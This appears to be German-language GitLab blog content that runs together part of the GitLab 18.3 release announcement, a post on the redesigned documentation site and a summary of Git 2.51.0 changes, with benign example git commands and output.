<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783724?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Convert to CI Flow"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Intelligenter Code und Suche

KI-Punktlösungen arbeiten typischerweise mit begrenzter Sichtbarkeit in isolierte Code-Schnipsel, aber der Knowledge Graph von GitLab bietet Agenten Umgebungskontext, um schnellere und intelligentere Antworten zu ermöglichen.

• Knowledge Graph für Echtzeit-Code-Intelligenz: Mit 18.3 liefert der Knowledge Graph von GitLab jetzt Echtzeit-Code-Indizierung für schnellere Code-Suchen und liefert genauere und kontextbezogene Ergebnisse. Durch das Verständnis der Beziehungen zwischen Dateien, Abhängigkeiten und Entwicklungsmustern über die gesamte Codebasis hinweg sind die Agenten darauf ausgelegt, Einblicke zu liefern, die menschliche Entwickler Stunden kosten würden – und dies ist nur der erste Schritt zur Erschließung der leistungsstarken Funktionen, die für den Knowledge Graph geplant sind.

Enterprise Governance

KI-Transparenz und organisatorische Kontrolle sind kritische Herausforderungen, die Teams davon abhalten können, KI-gestützte Entwicklungstools vollständig zu übernehmen, wobei 85% der Führungskräfte zustimmen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird.

Diese neuen Funktionen in 18.3 helfen, Bedenken hinsichtlich Daten-Governance, Compliance-Anforderungen und dem Bedarf an Transparenz in KI-Entscheidungsprozessen zu adressieren, damit Organisationen KI innerhalb ihrer bestehenden Sicherheits- und Policy-Frameworks integrieren können.

• Agent Insights für Transparenz durch Intelligenz: Das integrierte Agenten-Tracking bietet Einblick in die Entscheidungsprozesse von Agenten. Nutzende können Workflows optimieren und Best Practices durch transparentes Activity-Tracking befolgen.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783244?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Agent Insights"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• GitLab Duo Code Review für Self-Hosted: Dies bringt die Intelligenz von GitLab Duo zu Organisationen mit strengen Daten-Governance-Anforderungen, indem Teams sensiblen Code in kontrollierten Umgebungen behalten können.
• Hybrid-Modell-Konfigurationen für flexible KI-Bereitstellung: GitLab Duo Self-Hosted-Kunden können jetzt Hybrid-Modell-Konfigurationen verwenden, die selbst gehostete KI-Modelle über ihr lokales KI-Gateway mit den Cloud-Modellen von GitLab über das KI-Gateway von GitLab kombinieren und so Zugriff auf verschiedene Funktionen ermöglichen.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783569?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Self Hosted Models Code Review"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Erweiterte Sicherheit mit OAuth-Unterstützung: Der MCP-Server umfasst jetzt vollständige OAuth 2.0-Authentifizierungsunterstützung, die sichere Verbindungen zu geschützten Ressourcen und sensiblen Entwicklungsumgebungen ermöglicht. Diese Implementierung folgt dem Entwurf der OAuth-Spezifikation für MCP und behandelt Autorisierungsflows, Token-Verwaltung und dynamische Client-Registrierung.

Secure by Design-Plattform: Governance, die skaliert

Echte Plattformsicherheit erfordert die konsistente Anwendung von Governance-Prinzipien über jede Ebene des Entwicklungslebenszyklus. Die gleichen Sicherheitsgrundlagen, die die KI-Adoption sicher machen – Least-Privilege-Zugriff, zentralisiertes Policy-Management, proaktive Überwachung und granulare Berechtigungen – müssen im gesamten SDLC eingebettet sein, um einen kohärenten Defense-in-Depth-Ansatz zu schaffen.

GitLab 18.3 stärkt die grundlegenden Kontrollen, die zum Schutz der gesamten Software-Supply-Chain beitragen, mit diesen neuen Updates:

• Benutzerdefinierte Admin-Rolle: Bietet granulare, zweckgebundene administrative Berechtigungen und ersetzt pauschalen Admin-Zugriff durch präzise Least-Privilege-Kontrollen. Anstatt pauschale administrative Privilegien zu gewähren, die Sicherheitsrisiken schaffen, können Organisationen jetzt spezialisierte Rollen erstellen, die auf spezifische Funktionen zugeschnitten sind – Plattform-Teams, die Runner und Monitoring verwalten, Support-Teams, die die Benutzerverwaltung handhaben, und Führungskräfte, die auf Dashboards und Nutzungsstatistiken zugreifen. Mit vollständigem Rollen-Lifecycle-Management über UI und API, Audit-Logging und automatisch generierter Dokumentation ermöglicht diese Funktion echte Least-Privilege-Administration bei gleichzeitiger Aufrechterhaltung der operativen Effizienz und Verbesserung der allgemeinen Instanzsicherheit.
• Compliance-Framework und Sicherheits-Policy-Management auf Instanzebene: Organisationen können jetzt eine dedizierte Compliance-Gruppe bestimmen, die die Befugnis hat, standardisierte Frameworks und Sicherheitsrichtlinien direkt auf Top-Level-Gruppen anzuwenden und die Durchsetzung automatisch auf alle ihre Untergruppen und Projekte zu kaskadieren. Dieser zentralisierte Ansatz eliminiert den Compliance-Adoptionsblocker des fragmentierten Policy-Managements bei gleichzeitiger Beibehaltung der Gruppenautonomie für zusätzliche lokale Richtlinien.
• Erweiterte Verletzungsberichte: Teams erhalten jetzt sofortige Benachrichtigungen, wenn nicht autorisierte Änderungen an MR-Genehmigungsregeln vorgenommen werden, Framework-Richtlinien keine ordnungsgemäßen Genehmigungen haben oder zeitbasierte Compliance-Kontrollen verletzt werden. Durch die direkte Verknüpfung von Verletzungen mit spezifischen Compliance-Framework-Kontrollen erhalten Teams umsetzbare Einblicke, die genau zeigen, welche Anforderung verletzt wurde, und verwandeln Compliance von einer reaktiven Checkbox-Übung in einen proaktiven, integrierten Teil des Entwicklungs- und Sicherheitsworkflows.
• Fein abgestimmte Berechtigungen für CI/CD-Job-Token: Ersetzt breiten Token-Zugriff durch granulare, explizite Berechtigungen, die CI/CD-Jobs nur Zugriff auf die spezifischen API-Endpunkte gewähren, die sie tatsächlich benötigen. Anstatt Jobs pauschalen Zugriff auf Projektressourcen zu gewähren, können Teams jetzt präzise Berechtigungen für Deployments, Pakete, Releases, Umgebungen und andere kritische Ressourcen definieren, wodurch die Angriffsfläche und das Potenzial für Privilegieneskalation reduziert werden.
• AWS Secrets Manager-Integration: Teams, die AWS Secrets Manager verwenden, können jetzt Secrets direkt in GitLab CI/CD-Jobs abrufen, was die Build- und Deploy-Prozesse vereinfacht. Secrets werden von einem GitLab Runner über OpenID Connect-protokollbasierte Authentifizierung abgerufen, maskiert, um Exposition in Job-Logs zu verhindern, und nach Gebrauch zerstört. Dieser Ansatz eliminiert die Notwendigkeit, Secrets in Variablen zu speichern, und integriert sich nahtlos in bestehende GitLab- und AWS-basierte Workflows. In enger Zusammenarbeit mit der Deutschen Bahn und dem AWS Secrets Manager-Team entwickelt, spiegelt diese Integration unser Engagement wider, Lösungen gemeinsam mit Kunden zu entwickeln, um reale Herausforderungen zu lösen.

Artifact Management: Sicherung der Software-Supply-Chain

Wenn Artefakte nicht ordnungsgemäß verwaltet werden, können kleine Änderungen große Konsequenzen haben. Veränderbare Pakete, überschriebene Container-Images und inkonsistente Regeln über Tools hinweg können Produktionsausfälle auslösen, Schwachstellen einführen und Compliance-Lücken schaffen. Für Enterprise DevSecOps ist sicheres, zentralisiertes Artifact Management unerlässlich, um die Software-Supply-Chain intakt zu halten.

Enterprise-Grade-Artifact-Schutz in 18.3

Aufbauend auf den umfassenden Package-Protection-Funktionen fügt GitLab 18.3 wichtige neue Funktionen hinzu:

• Conan-Revisions-Unterstützung: Neu in 18.3 bieten Conan-Revisionen Paket-Unveränderlichkeit für C++-Entwickler. Wenn Änderungen an einem Paket vorgenommen werden, ohne seine Version zu ändern, berechnet Conan eindeutige Identifikatoren, um diese Änderungen zu verfolgen, wodurch Teams unveränderliche Pakete beibehalten können, während die Versionsklarheit erhalten bleibt.
• Erweiterte Container Registry-Sicherheit: Nach der erfolgreichen Einführung von unveränderlichen Container-Tags in 18.2 sehen wir eine starke Unternehmensadoption. Sobald ein Tag erstellt wird, das einer unveränderlichen Regel entspricht, kann niemand – unabhängig von der Berechtigungsebene – dieses Container-Image ändern, wodurch unbeabsichtigte Änderungen an Produktionsabhängigkeiten verhindert werden.

Diese Verbesserungen ergänzen die bestehenden Schutzfunktionen für npm, PyPI, Maven, NuGet, Helm-Charts und generische Pakete und ermöglichen es Plattform-Teams, konsistente Governance über ihre gesamte Software-Supply-Chain zu implementieren – eine Anforderung für Organisationen, die sichere interne Entwicklerplattformen aufbauen.

Im Gegensatz zu eigenständigen Artifact-Lösungen eliminiert der integrierte Ansatz von GitLab den Kontextwechsel zwischen Tools und bietet gleichzeitig End-to-End-Nachverfolgbarkeit vom Code bis zur Bereitstellung, wodurch Plattform-Teams konsistente Governance über ihre gesamte Software-Delivery-Pipeline implementieren können.

Embedded Views: Echtzeit-Sichtbarkeit und Berichte

Da GitLab-Projekte an Komplexität zunehmen, navigieren Teams zwischen Issues, Merge Requests, Epics und Meilensteinen, um die Sichtbarkeit des Arbeitsstatus aufrechtzuerhalten. Die Herausforderung liegt darin, diese Informationen effizient zu konsolidieren und gleichzeitig sicherzustellen, dass Teams Echtzeitzugriff auf den Projektfortschritt haben, ohne den Kontext zu wechseln oder ihren Flow zu unterbrechen. Start der Echtzeit-Arbeitsstatussichtbarkeit in 18.3 Die Embedded Views von GitLab 18.3, unterstützt durch die leistungsstarke GitLab Query Language (GLQL), eliminieren den Kontextwechsel, indem sie Live-Projektdaten direkt in den Workflow bringen:

• Dynamische Ansichten: Fügen Sie Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests ein, die sich automatisch mit aktuellen Projektzuständen aktualisieren, jedes Mal wenn Sie die Seite laden.
• Kontextuelle Personalisierung: Ansichten passen sich automatisch mit Funktionen wie currentUser() und today() an, um relevante Informationen für den jeweiligen Betrachter anzuzeigen, ohne manuelle Konfiguration.
• Leistungsstarke Filterung: Filtern Sie nach 25+ Feldern, einschließlich Assignee, Autor, Label, Meilenstein, Gesundheitsstatus und Erstellungsdatum.
• Anzeigeflexibilität: Präsentieren Sie Daten als Tabellen, Listen oder nummerierte Listen mit anpassbarer Feldauswahl, Artikelbegrenzungen und Sortierreihenfolgen, um die Ansichten fokussiert und umsetzbar zu halten.

Im Gegensatz zu fragmentierten Projektmanagement-Ansätzen wurden Embedded Views so konzipiert, dass sie die Workflow-Kontinuität beibehalten und gleichzeitig Echtzeit-Sichtbarkeit bieten, wodurch Teams fundierte Entscheidungen treffen können, ohne den Fokus zu verlieren oder zwischen mehreren Tools und Schnittstellen zu wechseln.

Erfahre mehr über die neuesten Funktionen in GitLab 18.3.

Jetzt starten

GitLab 18.3 ist jetzt für GitLab Premium- und Ultimate-Nutzende auf GitLab.com und in selbstverwalteten Umgebungen verfügbar.

GitLab Dedicated-Kunden wurden jetzt auf 18.2 aktualisiert und können die mit GitLab 18.3 veröffentlichten Funktionen nächsten Monat nutzen.

Bereit, die Zukunft des Software Engineering zu erleben? Aktiviere Beta- und experimentelle Funktionen für GitLab Duo und beginne die Zusammenarbeit mit KI-Agenten, die den vollständigen Entwicklungskontext verstehen.

Neu bei GitLab? Starte noch heute die kostenlose Testversion und entdecke, warum die Zukunft des Software Engineering in der Zusammenarbeit zwischen Mensch und KI liegt, orchestriert durch die weltweit umfassendste DevSecOps-Plattform.

<p><small><em>Dieser Blogbeitrag enthält "zukunftsgerichtete Aussagen" im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den zukünftigen Ergebnissen oder Resultaten abweichen, die in den zukunftsgerichteten Aussagen ausgedrückt oder impliziert werden.</em></p> <p><em>Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von denen abweichen, die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthalten oder berücksichtigt werden, finden Sie unter der Überschrift "Risikofaktoren" und an anderen Stellen in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu revidieren oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, außer wenn dies gesetzlich vorgeschrieben ist.</em></small></p>

Auch und gerade für deutsche Entwicklungsteams: Diese Verbesserungen machen es einfacher, die englische Dokumentation zu nutzen. Dark Mode und die klarere Navigation helfen dabei, auch bei längeren Sessions die benötigten Informationen zu finden – ohne dass Sprachbarrieren durch schlechte UX verstärkt werden.

Die vier wichtigsten neuen Features

Der Dark Mode: Das meistgewünschte Feature ist endlich da. Du kannst zwischen hellen und dunklen Themes in der oberen rechten Ecke wechseln für bessere Lesbarkeit und weniger Augenbelastung.

Die Redesigned Navigation: Wir haben die primäre Navigation nach oben verschoben und die linke Sidebar umstrukturiert, damit unsere 2 300+ Seiten weniger überwältigend und besser auffindbar sind.

Das Simplified Feedback: Du kannst jetzt Thumbs-up/down-Feedback geben und Kommentare direkt auf jeder Dokumentationsseite hinzufügen.

Die Technical Debt Fixes: Dutzende kleiner, aber wirkungsvoller Fixes für Typography, Spacing, Code Blocks und visuelle Inkonsistenzen, die wir über die Jahre gesammelt haben.

Die Brand Alignment mit GitLab's Marketing-Site sorgt außerdem für eine einheitlichere Experience über alle GitLab Properties hinweg.

Warum jetzt? Das Fundament für Veränderung

Anfang des Jahres hat unser Documentation Engineering Team unter Leitung von Sarah German ein kritisches Replatforming-Projekt durchgeführt und von Nanoc zu Hugo migriert. Während diese Änderung für Teams größtenteils unsichtbar war, brachte sie dramatische Performance-Verbesserungen – 130x schnellere lokale Builds und 30x schnellere vollständige Builds – und bot die solide technische Grundlage für diese Verbesserungen.

Mit diesem Replatforming haben wir die Grundlage geschaffen, die es uns ermöglicht hat, uns auf User Experience-Verbesserungen zu konzentrieren, anstatt mit veralteter Infrastructure zu kämpfen.

Schauen wir uns die Änderungen genauer an.

Dark Mode

Möglicherweise die größte News für dieses Release: Dark Mode ist jetzt über die gesamte Dokumentationsseite verfügbar. Du änderst die Einstellung in der oberen rechten Ecke, und die Site merkt sich deine Präferenz. Für viele Teams macht Dark Mode Content einfacher zu lesen und reduziert Eyestrain.

Redesigned Navigation

Wir standen vor der großen Herausforderung, über 2 300 Seiten so zu organisieren, dass Teams nicht überwältigt werden. Unsere vorherige einzelne linke Navigation war zwar umfassend, aber schuf eine einschüchternde Experience:

Der neue Ansatz verschiebt die primäre Navigation nach oben und schafft kürzere, überschaubarere Table-of-Contents-Sections, die sich weniger überwältigend navigieren lassen:

So zeigen wir die Relationships zwischen Features besser, während einzelne Sections verdaulicher werden.

Simplified Feedback Mechanism

Wir haben den Feedback-Prozess vereinfacht. Anstatt zu verlangen, dass Teams die Docs-Site verlassen und GitLab Issues erstellen, können sie jetzt sofortiges Feedback mit Thumbs-up/down-Ratings und Comments direkt auf jeder Page geben. Scroll einfach auf jeder Dokumentationspage nach unten, um diese neue Functionality in Action zu sehen.

Style Updates und Technical Debt

Über die Jahre hatten sich kleine Style-Inkonsistenzen angesammelt – inkonsistente Padding in Lists, zusätzliche Spacing um Alerts und verschiedene Typography-Issues. Die sehen zwar klein aus, aber zusammen schufen sie eine subtil störende Experience für Daily Users.

Unsere Tabs und Code Blocks haben besondere Aufmerksamkeit bekommen und sind jetzt besser definiert.

Vorher sahen Tabs mit Code so aus:

Und jetzt, mit ein paar kleinen Tweaks, sehen sie so aus:

Diese Papercut-Fixes sind einzeln klein, aber zusammen schaffen sie eine viel poliertere, professionellere Experience.

Was kommt als nächstes?

Dieses Redesign zeigt, wie wir bei GitLab iterieren – wir shippen meaningful Improvements und bauen gleichzeitig für eine noch bessere Zukunft. Wir erwarten, die Struktur weiter zu verfeinern und Features hinzuzufügen, die Teams helfen, leichter zu finden, was sie brauchen.

User Feedback wird unsere nächsten Iterationen antreiben, und mit unserem neuen simplified Feedback Mechanism sind wir besser positioniert denn je, direkt von unseren Documentation-Teams zu hören.

Das Team

Das ganze Team hat an dieser Transformation gearbeitet. Kudos an UX Papercuts und Julia Miocene dafür, aus einer einfachen Anfrage eine umfassende Design Vision zu machen. Thanks an die Engineers im Technical Writing: Sarah German, Pearl Latteier und Hiru Fernando, die diese Designs zum Leben erweckt haben.

Das neue Design balanciert Information Density mit Visual Clarity, modernisiert unsere Site unter Beibehaltung von Usability- und Accessibility-Standards und ist ein großer Schritt nach vorn in User Experience und Visual Design.

Die wichtigste Neuerung: Git-Operationen werden bis zu 22-mal schneller - besonders bei großen Repositories mit vielen Branches profitieren Entwicklungsteams von erheblichen Performance-Verbesserungen.

Schauen wir uns diese und andere bemerkenswerte Änderungen in diesem Release an, einschließlich Beiträgen vom Git-Team bei GitLab und der breiteren Git-Community.

Massive Performance-Verbesserungen: Von Sekunden zu Millisekunden

Große Repositories mit tausenden von Branches standen vor einem schmerzhaften Engpass. Git-Operationen, die Referenzen aktualisieren, konnten mehrere Sekunden dauern - ein echter Produktivitätskiller für Teams mit umfangreichen CI/CD-Pipelines oder Monorepo-Workflows.

Git 2.51.0 ändert alles. Eine 10.000-Referenzen-Fetch-Operation, die 3,4 Sekunden dauerte, wird jetzt in 154 Millisekunden abgeschlossen:

VORHER: git-fetch mit 10.000 Referenzen
Time: 3.403 s ± 0.775 s

NACHHER: git-fetch mit 10.000 Referenzen  
Time: 154.3 ms ± 17.6 ms

ERGEBNIS: 22× schneller

Ähnlich dramatische Verbesserungen bei git-push:

VORHER: git-push mit 10.000 Referenzen
Time: 4.276 s ± 0.078 s

NACHHER: git-push mit 10.000 Referenzen
Time: 235.4 ms ± 6.9 ms

ERGEBNIS: 18× schneller

Wie wurde das erreicht?

Das Problem lag in der Art, wie Git Referenz-Transaktionen behandelte. Die Kommandos git-push(1) und git-fetch(1) erstellten eine separate Transaktion für jedes Referenz-Update, was enormen Overhead verursachte - jede Transaktion benötigte eine Initialisierungs- und Abbauphase und löste Auto-Komprimierungen aus.

Git 2.51.0 verwendet nun gebündelte Updates: Mehrere Referenzen werden in einer einzigen Transaktion aktualisiert, während einzelne Updates weiterhin fehlschlagen dürfen. Dies eliminiert den Overhead und skaliert linear mit der Anzahl der Referenzen.

Das Beste daran? Benutzer profitieren automatisch von diesen Verbesserungen, ohne Änderungen an ihrem Workflow vornehmen zu müssen.

Dieses Projekt wurde von Karthik Nayak geleitet.

Änderungen in Richtung Git 3.0

Vor 11 Jahren wurde Git 2.0 veröffentlicht, die letzte große Versionsfreigabe von Git. Obwohl wir keinen spezifischen Zeitplan für die nächste große Git-Veröffentlichung haben, enthält dieses Release Entscheidungen, die in Richtung Git 3.0 getroffen wurden.

Die Git 3.0-Release-Planung ermöglicht es uns, Breaking Changes zu planen und zu implementieren und diese der erweiterten Git-Community zu kommunizieren. Neben der Dokumentation kann Git auch mit diesen Breaking Changes kompiliert werden für diejenigen, die mit diesen Änderungen experimentieren möchten. Weitere Informationen finden Sie im BreakingChanges-Dokument.

Das Git 2.51.0-Release bringt einige bedeutende Änderungen in Richtung Git 3.0.

"reftable" wird Standard in Git 3.0

Im Git 2.45.0-Release wurde das "reftable"-Format als neues Backend zur Speicherung von Referenzen wie Branches oder Tags in Git eingeführt, das viele der Probleme des bestehenden "files"-Backends behebt. Lesen Sie unseren Einsteiger-Leitfaden zur Funktionsweise von reftables für weitere Einblicke in das "reftable"-Backend.

Das Git 2.51.0-Release markiert den Wechsel zur Verwendung des "reftable"-Formats als Standard in Git 3.0 für neu erstellte Repositories und verdrahtet die Änderung hinter einem Feature-Flag. Das "reftable"-Format bietet folgende Verbesserungen gegenüber dem traditionellen "files"-Backend:

• Es ist unmöglich, zwei Referenzen zu speichern, die sich nur in der Groß-/Kleinschreibung unterscheiden, auf case-insensitiven Dateisystemen mit dem "files"-Format. Dieses Problem ist häufig auf Windows- und macOS-Plattformen. Da das "reftable"-Backend keine Dateisystem-Pfade zur Kodierung von Referenznamen verwendet, verschwindet dieses Problem.

• Ebenso normalisiert macOS Pfadnamen, die Unicode-Zeichen enthalten, was zur Folge hat, dass Sie nicht zwei Namen mit Unicode-Zeichen speichern können, die unterschiedlich kodiert sind, mit dem "files"-Backend. Auch dies ist kein Problem mit dem "reftable"-Backend.

• Das Löschen von Referenzen mit dem "files"-Backend erfordert, dass Git die komplette "packed-refs"-Datei neu schreibt. In großen Repositories mit vielen Referenzen kann diese Datei leicht dutzende Megabytes groß sein; in extremen Fällen kann sie Gigabytes umfassen. Das "reftable"-Backend verwendet Tombstone-Marker für gelöschte Referenzen und muss daher nicht alle seine Daten neu schreiben.

• Repository-Hauskeeping mit dem "files"-Backend führt normalerweise All-into-One-Repacks von Referenzen durch. Dies kann sehr teuer sein, und folglich ist Housekeeping ein Kompromiss zwischen der Anzahl loser Referenzen, die sich ansammeln und Operationen verlangsamen, die Referenzen lesen, und der Komprimierung dieser losen Referenzen in die "packed-refs"-Datei. Das "reftable"-Backend verwendet geometrische Komprimierung nach jedem Schreibvorgang, was Kosten amortisiert und sicherstellt, dass das Backend immer in einem gut gewarteten Zustand ist.

• Operationen, die mehrere Referenzen auf einmal schreiben, sind nicht atomisch mit dem "files"-Backend. Folglich kann Git Zwischenzustände sehen, wenn es Referenzen liest, während eine Referenz-Transaktion gerade auf die Festplatte committed wird.

• Das Schreiben vieler Referenzen auf einmal ist langsam mit dem "files"-Backend, weil jede Referenz als separate Datei erstellt wird. Das "reftable"-Backend übertrifft das "files"-Backend um mehrere Größenordnungen.

• Das "reftable"-Backend verwendet ein Binärformat mit Präfix-Komprimierung für Referenznamen. Als Resultat nutzt das Format weniger Platz im Vergleich zur "packed-refs"-Datei.

Dieses Projekt wurde von Patrick Steinhardt geleitet.

SHA-256 wird Standard in Git 3.0

Das Git-Versionskontrollsystem speichert Objekte in einem inhaltsadressierbaren Dateisystem. Das bedeutet, es verwendet den Hash eines Objekts zur Adressierung von Inhalten wie Dateien, Verzeichnissen und Revisionen, anders als traditionelle Dateisysteme, die sequenzielle Nummern verwenden. Die Verwendung einer Hash-Funktion hat folgende Vorteile:

• Einfache Integritätsprüfungen, da ein einzelner Bit-Flip die Hash-Ausgabe komplett verändern würde.
• Schnelle Objektsuche, da Objekte nach ihrem Hash indexiert werden können.
• Objektnamen können signiert werden und Drittparteien können dem Hash vertrauen, um das signierte Objekt und alle Objekte, auf die es verweist, zu adressieren.
• Kommunikation über Git-Protokoll und Out-of-Band-Kommunikationsmethoden haben einen kurzen zuverlässigen String, der zur zuverlässigen Adressierung gespeicherter Inhalte verwendet werden kann.

Seit seiner Entstehung hat Git den SHA-1-Hashing-Algorithmus verwendet. Sicherheitsforscher haben jedoch einige Schwachstellen in SHA-1 entdeckt, speziell den SHAttered-Angriff, der eine praktische SHA-1-Hash-Kollision zeigt. Wir sind seit Git 2.13.0 standardmäßig zu einer gehärteten SHA-1-Implementierung übergegangen. SHA-1 ist jedoch immer noch ein schwacher Hashing-Algorithmus und es ist nur eine Frage der Zeit, bis zusätzliche Angriffe seine Sicherheit weiter reduzieren werden.

SHA-256 wurde Ende 2018 als Nachfolger von SHA-1 identifiziert. Git 2.51.0 markiert es als Standard-Hash-Algorithmus für Git 3.0.

Dieses Projekt wurde von brian m. carlson geleitet.

Entfernung von git-whatchanged(1)

Der git-whatchanged(1)-Befehl zeigt Logs mit Unterschieden, die jeder Commit einführt. Obwohl dies nun von git log --raw abgelöst wurde, wurde der Befehl aus historischen Gründen beibehalten.

Git 2.51.0 erfordert, dass Benutzer des Befehls explizit das --i-still-use-this-Flag verwenden, um alle Benutzer zu erfassen, die noch den veralteten Befehl verwenden, und markiert den Befehl auch für die Entfernung in Git 3.0.

Dieses Projekt wurde von Junio C Hamano geleitet.

git switch und git restore sind nicht mehr experimentell

Der git-checkout(1)-Befehl kann für mehrere verschiedene Anwendungsfälle verwendet werden. Er kann zum Wechseln von Referenzen verwendet werden:

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git checkout next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.

Oder zur Wiederherstellung von Dateien:

$ echo "additional line" >> git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie "git add <Datei>...", um die Änderungen zum Commit vorzumerken)
  (benutzen Sie "git restore <Datei>...", um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie "git add" und/oder "git commit -a")

$ git checkout git.c
1 Pfad von Index aktualisiert

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

Für neue Git-Benutzer kann dies zu viel Verwirrung führen. In Git 2.33.0 wurden diese in zwei neue Befehle aufgeteilt: git-switch(1) und git-restore(1).

Der git-switch(1)-Befehl ermöglicht es Benutzern, zu einem bestimmten Branch zu wechseln:

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git switch next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.

Und der git-restore(1)-Befehl ermöglicht es Benutzern, Working-Tree-Dateien wiederherzustellen:

$ echo "additional line" >> git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie "git add <Datei>...", um die Änderungen zum Commit vorzumerken)
  (benutzen Sie "git restore <Datei>...", um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie "git add" und/oder "git commit -a")

$ git restore git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

Obwohl die beiden Befehle seit 2019 existieren, wurden sie als experimentell markiert. Der Effekt ist, dass das Git-Projekt keine Rückwärtskompatibilität für diese Befehle garantiert: das Verhalten kann sich jederzeit ändern. Obwohl die Absicht ursprünglich war, diese Befehle nach einigen Releases zu stabilisieren, ist das bis zu diesem Punkt nicht geschehen.

Dies hat zu mehreren Diskussionen auf der Git-Mailing-Liste geführt, wo Benutzer unsicher sind, ob sie diese neuen Befehle verwenden können oder ob sie eventuell wieder verschwinden. Da jedoch keine bedeutenden Änderungen vorgeschlagen wurden und einige Benutzer diese Befehle bereits verwenden, haben wir beschlossen, sie in Git 2.51 nicht mehr als experimentell zu deklarieren.

Dieses Projekt wurde von Justin Tobler geleitet.

git for-each-ref(1) erhält Paginierungs-Unterstützung

Der git for-each-ref-Befehl wird verwendet, um alle im Repository vorhandenen Referenzen aufzulisten. Als Teil der Plumbing-Schicht von Git wird dieser Befehl häufig beispielsweise von Hosting-Forges verwendet, um Referenzen, die im Repository existieren, in ihrer UI aufzulisten. Aber während Repositories wachsen, wird es weniger realistisch, alle Referenzen auf einmal aufzulisten – schließlich können die größten Repositories Millionen davon enthalten! Stattdessen neigen Forges dazu, die Referenzen zu paginieren.

Dies zeigt eine wichtige Lücke auf: git-for-each-ref weiß nicht, Referenzen von vorherigen Seiten zu überspringen, die bereits gezeigt wurden. Folglich muss es möglicherweise eine große Anzahl uninteressanter Referenzen auflisten, bevor es endlich beginnt, die für die aktuelle Seite benötigten Referenzen zu liefern. Dies ist ineffizient und führt zu höherer als notwendiger Latenz oder sogar Timeouts.

Git 2.51.0 unterstützt ein neues --start-after-Flag für git for-each-ref, das die Paginierung der Ausgabe ermöglicht. Dies kann auch mit dem --count-Flag kombiniert werden, um über einen Batch von Referenzen zu iterieren.

$ git for-each-ref --count=10
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010

$ git for-each-ref --count=10 --start-after=refs/heads/branch-010
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015
